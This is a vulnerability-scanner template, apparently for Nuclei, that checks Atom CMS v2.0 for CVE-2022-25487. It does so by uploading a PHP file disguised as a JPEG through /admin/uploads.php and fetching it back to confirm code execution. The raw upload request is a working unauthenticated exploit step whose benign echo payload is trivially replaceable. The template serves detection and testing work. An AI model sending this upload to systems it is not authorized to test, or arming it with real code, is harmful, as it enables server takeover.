76 lines
2.2 KiB
YAML
76 lines
2.2 KiB
YAML
id: CVE-2022-25487
|
|
|
|
info:
|
|
name: Atom CMS v2.0 - Remote Code Execution
|
|
author: theamanrawat
|
|
severity: critical
|
|
description: |
|
|
Atom CMS v2.0 was discovered to contain a remote code execution (RCE) vulnerability via /admin/uploads.php.
|
|
remediation: Fixed in version Atom CMS v2.1
|
|
reference:
|
|
- https://packetstormsecurity.com/files/166532/Atom-CMS-1.0.2-Shell-Upload.html
|
|
- https://github.com/thedigicraft/Atom.CMS/issues/256
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-25487
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2022-25487
|
|
cwe-id: CWE-434
|
|
epss-score: 0.88802
|
|
epss-percentile: 0.98361
|
|
cpe: cpe:2.3:a:thedigitalcraft:atomcms:2.0:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 2
|
|
vendor: thedigitalcraft
|
|
product: atomcms
|
|
tags: cve,cve2022,rce,atom,cms,unauth,packetstorm,intrusive
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /admin/uploads.php?id=1 HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: multipart/form-data; boundary=---------------------------30623082103363803402542706041
|
|
|
|
-----------------------------30623082103363803402542706041
|
|
Content-Disposition: form-data; name="file"
|
|
|
|
|
|
-----------------------------30623082103363803402542706041
|
|
Content-Disposition: form-data; name="file"; filename="{{randstr}}.php"
|
|
Content-Type: image/jpeg
|
|
|
|
|
|
<?php echo md5('CVE-2022-25487');?>
|
|
-----------------------------30623082103363803402542706041--
|
|
- |
|
|
GET /uploads/{{filename}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- 7ee3686858eb89dd68ccf85f0ea03abe
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
extractors:
|
|
- type: regex
|
|
name: filename
|
|
group: 1
|
|
regex:
|
|
- SET avatar = '(.*?)'
|
|
internal: true
|
|
|
|
# digest: 4a0a0047304502200c2a504da893ea3324519e9fbc137f5088441b709fea78dd91e45e93df6f6b33022100f73f07dc10d2fc3cf3d4979b414a17e3551493bbcdaceaa68ff578d615a9576a:922c64590222798bb761d5b6d8e72950
|